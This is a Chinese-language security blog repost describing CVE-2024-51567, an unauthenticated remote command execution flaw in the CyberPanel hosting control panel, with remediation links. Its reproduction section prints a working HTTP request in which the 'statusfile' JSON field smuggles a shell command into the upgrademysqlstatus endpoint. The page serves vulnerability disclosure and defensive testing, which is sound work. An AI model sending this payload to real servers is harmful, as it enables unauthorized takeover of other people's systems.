CVE-2024-51567 某面板RCE漏洞 (附EXP)

admin 2024年11月5日10:35:25评论73 views字数 839阅读2分47秒阅读模式
0x00写在前面

      本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍
CVE-2024-51567 某面板RCE漏洞 (附EXP)

CyberPanel是一款基于OpenLiteSpeed的Web托管控制面板,专为现代Web托管需求设计。它不仅提供了丰富的功能,还确保了高性能和安全性。无论您是个人开发者、小型企业还是大型企业,CyberPanel都能满足您的托管需求。

CyberPanel 是基于 (Open) LiteSpeed 开发的多用户管理的控制面板。2024年10月,互联网上披露CyberPanel upgrademysqlstatus 远程命令执行漏洞,攻击者可在无需登陆的情况下执行任意命令,控制服务器。

0x02影响版本

CyberPanel

0x03漏洞复现

1.访问漏洞环境

CVE-2024-51567 某面板RCE漏洞 (附EXP)

2.对漏洞进行复现

POC 

漏洞复现

GET /dataBases/upgrademysqlstatus HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Content-Type: application/jsonConnection: closeContent-Length: 23{"statusfile":"1;id;#"}

测试id命令执行,漏洞存在。

CVE-2024-51567 某面板RCE漏洞 (附EXP)

3.nuclei文件测试

CVE-2024-51567 某面板RCE漏洞 (附EXP)

CVE-2024-51567 某面板RCE漏洞 (附EXP)
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://cyberpanel.net/blog/detials-and-fix-of-recent-security-issue-and-patc...  https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122...

原文始发于微信公众号(渗透Xiao白帽):漏洞速递 | CVE-2024-51567 某面板RCE漏洞 (附EXP)

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月5日10:35:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-51567 某面板RCE漏洞 (附EXP)https://cn-sec.com/archives/3357068.html

发表评论

匿名网友 填写信息